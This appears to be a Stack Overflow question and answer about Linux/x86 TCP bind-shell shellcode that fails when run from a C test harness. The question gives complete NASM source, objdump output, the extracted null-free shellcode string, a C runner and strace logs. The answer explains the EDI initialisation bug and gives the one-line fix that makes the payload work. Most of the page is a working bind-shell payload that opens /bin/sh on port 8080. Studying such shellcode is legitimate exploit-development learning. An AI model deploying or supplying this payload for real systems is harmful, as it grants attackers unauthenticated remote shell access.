Search code examples
linuxgccassemblyx86shellcode

TCP Bind Shellcode not working with Shellcode length file


I'm on a 32-bit Linux system, and I'm writing Linux/x86 shellcode for TCP Bind. Based on Linux man pages as follow:

;;; Will be using socketcall - 102 for socket related calls


global _start

section .text

    _start:

;;Socket
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register    ; Desired Input ; Actual Value to be passed
;1 ;EAX     ; SOCKETCALL    ; 102 (dec), 0x66 (hex)     
;2 ;EBX     ; CALL      ; 1 (for SOCKET)        
;3 ;ECX     ; args      ; AF_INET = 2, SOCK_STREAM = 1, IPPROTO_IP = 0
;4 ;EDX     ; dont care
;5 ;EDI     ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


    xor ebx, ebx    ; cleaning EBX
    mul ebx     ; cleaning EAX

    push eax    ; IPPROTO_IP = 0
    push byte 1 ; SOCK_STREAM = 1
    push byte 2 ; AF_INET = 2
    mov ecx, esp    ; Moved Stack content to ECX

    mov al, 102 
    inc bl
    int 0x80
    xchg edi, eax   ; Got new socket descriptor. Will be used for further calls

;;Bind
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register    ; Desired Input ; Actual Value to be passed
;1 ;EAX     ; SOCKETCALL    ; 102 (dec), 0x66 (hex)     
;2 ;EBX     ; CALL      ; 2 (for BIND)      
;3 ;ECX     ; args      ; SOCKFD = EDI, addr_in{AF_INET = 2, port number = network byte order, INADDR_ANY = 0}, addr_len = 16
;4 ;EDX     ; dont care
;5 ;EDI     ; New Socket descriptor
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    pop edx
    xor ecx, ecx
    mul eax

    ; this is for struct addr_in
    push ecx    ; INADDR_ANY = 0
    push word 0x901f; Port 8080
    push word 0x2   ; AF_INET = 2
    mov ecx, esp    ; moved details to ecx

    push 0x10   ; standard ip address length
    push ecx    ; pushing addr_in
    push edi    ; SOCKFD value
    mov ecx, esp    ; got all arg in ECX
    mov al, 102 ;
    inc bl
    int 0x80    

;;Listen
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register    ; Desired Input ; Actual Value to be passed
;1 ;EAX     ; SOCKETCALL    ; 102 (dec), 0x66 (hex)     
;2 ;EBX     ; CALL      ; 4 (for LISTEN)        
;3 ;ECX     ; args      ; SOCKFD = EDI, backlog = 0
;4 ;EDX     ; dont care
;5 ;EDI     ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    pop edx
    xor ecx, ecx
    mul eax


    push ecx    ; backlog = 0
    push edi    ; SOCKFD = EDI
    mov ecx, esp    ; Stored params to ECX
    mov al, 102
    mov bl, 4
    int 0x80

;;Accept
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register    ; Desired Input ; Actual Value to be passed
;1 ;EAX     ; SOCKETCALL    ; 102 (dec), 0x66 (hex)     
;2 ;EBX     ; CALL      ; 4 (for LISTEN)        
;3 ;ECX     ; args      ; SOCKFD = EDI, backlog = 0
;4 ;EDX     ; dont care
;5 ;EDI     ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


    pop edx
    xor edx, edx
    xor ecx, ecx
    mul eax


    push ecx    ; NULL
    push ecx    ; NULL
    push edi    ; SOCKFD = EDI
    mov ecx, esp    ; Stored params to ECX
    mov al, 102
    inc bl
    int 0x80
    mov ebx, eax    ; oldfd

;;Dup2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;# ;Register    ; Desired Input ; Actual Value to be passed
;1 ;EAX     ; DUP2      ; 63 (dec),  (hex)      
;2 ;EBX     ; oldfd     ; EDX       
;3 ;ECX     ; newfd     ; SOCKFD = EDI, backlog = 0
;4 ;EDX     ; dont care
;5 ;EDI     ; dont care
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    xor ecx, ecx
    mul eax
    mov cl, 2

dup2:
    mov al, 63
    int 0x80
    dec ecx
    jns dup2

;;Execve for /bin/sh

    xor eax,eax
    push eax
        push 0x68732f2f      ; hs// - take care to the little endian representation
    push 0x6e69622f      ; nib/
    mov ebx, esp         ; pointer to command string
    mov ecx, eax
    mov edx, eax
    mov al, 11           ; __NR_execve
    int 0x80

Now when I assemble and run this normally, it works perfectly.

TCP Bind Shell Assembly Code1: https://i.sstatic.net/adTm4.jpg

Object dump do not have any NULL characters.

shashank@ubuntu:~/Desktop/Exam/task1_take3$ objdump -Mintel -d tcp_bind

tcp_bind:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   31 db                   xor    ebx,ebx
 8048062:   f7 e3                   mul    ebx
 8048064:   50                      push   eax
 8048065:   6a 01                   push   0x1
 8048067:   6a 02                   push   0x2
 8048069:   89 e1                   mov    ecx,esp
 804806b:   b0 66                   mov    al,0x66
 804806d:   fe c3                   inc    bl
 804806f:   cd 80                   int    0x80
 8048071:   97                      xchg   edi,eax
 8048072:   5a                      pop    edx
 8048073:   31 c9                   xor    ecx,ecx
 8048075:   f7 e0                   mul    eax
 8048077:   51                      push   ecx
 8048078:   66 68 1f 90             pushw  0x901f
 804807c:   66 6a 02                pushw  0x2
 804807f:   89 e1                   mov    ecx,esp
 8048081:   6a 10                   push   0x10
 8048083:   51                      push   ecx
 8048084:   57                      push   edi
 8048085:   89 e1                   mov    ecx,esp
 8048087:   b0 66                   mov    al,0x66
 8048089:   fe c3                   inc    bl
 804808b:   cd 80                   int    0x80
 804808d:   5a                      pop    edx
 804808e:   31 c9                   xor    ecx,ecx
 8048090:   f7 e0                   mul    eax
 8048092:   51                      push   ecx
 8048093:   57                      push   edi
 8048094:   89 e1                   mov    ecx,esp
 8048096:   b0 66                   mov    al,0x66
 8048098:   b3 04                   mov    bl,0x4
 804809a:   cd 80                   int    0x80
 804809c:   5a                      pop    edx
 804809d:   31 d2                   xor    edx,edx
 804809f:   31 c9                   xor    ecx,ecx
 80480a1:   f7 e0                   mul    eax
 80480a3:   51                      push   ecx
 80480a4:   51                      push   ecx
 80480a5:   57                      push   edi
 80480a6:   89 e1                   mov    ecx,esp
 80480a8:   b0 66                   mov    al,0x66
 80480aa:   fe c3                   inc    bl
 80480ac:   cd 80                   int    0x80
 80480ae:   89 c3                   mov    ebx,eax
 80480b0:   31 c9                   xor    ecx,ecx
 80480b2:   f7 e0                   mul    eax
 80480b4:   b1 02                   mov    cl,0x2

080480b6 <dup2>:
 80480b6:   b0 3f                   mov    al,0x3f
 80480b8:   cd 80                   int    0x80
 80480ba:   49                      dec    ecx
 80480bb:   79 f9                   jns    80480b6 <dup2>
 80480bd:   31 c0                   xor    eax,eax
 80480bf:   50                      push   eax
 80480c0:   68 2f 2f 73 68          push   0x68732f2f
 80480c5:   68 2f 62 69 6e          push   0x6e69622f
 80480ca:   89 e3                   mov    ebx,esp
 80480cc:   89 c1                   mov    ecx,eax
 80480ce:   89 c2                   mov    edx,eax
 80480d0:   b0 0b                   mov    al,0xb
 80480d2:   cd 80                   int    0x80

I extracted shellcode and added in following code to check shellcode length:

shashank@ubuntu:~/Desktop/Exam/task1_take3$ ./shell_extracter.sh tcp_bind

"\x31\xdb\xf7\xe3\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x97\x5a\x31\xc9\xf7\xe0\x51\x66\x68\x1f\x90\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x5a\x31\xc9\xf7\xe0\x51\x57\x89\xe1\xb0\x66\xb3\x04\xcd\x80\x5a\x31\xd2\x31\xc9\xf7\xe0\x51\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc3\x31\xc9\xf7\xe0\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"

Shellcode Length Code with shellcode added:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xdb\xf7\xe3\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x97\x5a\x31\xc9\xf7\xe0\x51\x66\x68\x1f\x90\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x5a\x31\xc9\xf7\xe0\x51\x57\x89\xe1\xb0\x66\xb3\x04\xcd\x80\x5a\x31\xd2\x31\xc9\xf7\xe0\x51\x51\x57\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc3\x31\xc9\xf7\xe0\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";


main(){

    printf("Length: %d\n", strlen(code));

    int (*ret)() = (int (*) ())code;    

    ret();

}

But when I compile and execute this code shell executes locally and no port opens.

shashank@ubuntu:~/Desktop/Exam/task1_take3$ gcc -fno-stack-protector -zexecstack -o shell_length shell_length.c 
shell_length.c:8:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main(){
 ^
shashank@ubuntu:~/Desktop/Exam/task1_take3$ ./shell_length
Length: 116
$ 

I am not sure why I'm facing this error. I have tried everything.

Files are available at Github link


Strace for tcp_bind executable:

Strace for original NASM program:

shashank@ubuntu:~/Desktop/Exam/task1_take3$ strace -e socket,bind,listen,accept,dup2,execve ./tcp_bind
execve("./tcp_bind", ["./tcp_bind"], [/* 60 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1)                            = 0
accept(3, NULL, NULL)                   = 4
dup2(4, 2)                              = 2
dup2(4, 1)                              = 1
dup2(4, 0)                              = 0
execve("/bin//sh", NULL, NULL)          = 0
+++ exited with 0 +++

Strace for Shell_length.c exectable

strace -e socket,bind,listen,accept,dup2,execve ./shell_length
execve("./shell_length", ["./shell_length"], [/* 60 vars */]) = 0
Length: 117
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
syscall_3288334438(0x2, 0xbfd116a0, 0x842a42e4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_1382(0x4, 0xbfd1169c, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_1382(0x5, 0xbfd11694, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_1343(0xffffffda, 0x2, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_4294967103(0xffffffda, 0x1, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
syscall_4294967103(0xffffffda, 0, 0xffffffb4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)
execve("/bin//sh", NULL, NULL)          = 0
$ 

Solution

  • Why your System Call Numbers are Corrupt

    Your strace gives a pretty good idea where one of your problems lie. You'll notice the sys_socket system call worked and returned a descriptor of 3:

    socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

    This is okay, and what you'd expect. The next system call is an invalid system call number, which tells me that EAX has invalid data in it (as well as each successive one):

    syscall_3288334438(0x2, 0xbfd116a0, 0x842a42e4, 0xb7f0e000, 0x3, 0xbfd116d8) = -1 (errno 38)

    If you convert system call number 3288334438 (decimal) to hexadecimal you'd get 0xC4000066. The upper bits of EAX thus have garbage in them. The lower byte is 0x66 which is 102. 102 is in fact the sys_bind system call number you used. Since EAX has an unknown system call number it prints out the contents of all the registers that may have been used for the system call. The registers for a 32-bit system call (via int 0x80) in order are EBX, ECX, EDX, ESI, EDI, and EBP.

    Clearly EAX was not a problem for sys_socket system call. I looked at how EAX is used after the first system call and noticed this:

    xchg edi, eax   ; Got new socket descriptor. Will be used for further calls
    

    The problem is that you never initialize EDI to zero before this point. You effectively move the file descriptor to EDI and potential garbage to EAX. I believe this is what is causing your system call failures. There may be others, but this explains all the invalid system calls. You should at least zero EDI somewhere before you do the xchg. This would suffice:

    xor edi, edi
    

    The reason it worked when run as a standalone program is because EDI was probably 0 already (or the upper bits were 0).


    Learn to use a Debugger

    Besides understanding how to interpret the output from strace, a valuable tool is running your code in a debugger like GDB. You'd be able to step into the shell exploit and look at the register contents and what data you place in memory (the stack). You'd likely discover this issue using a debugger as well.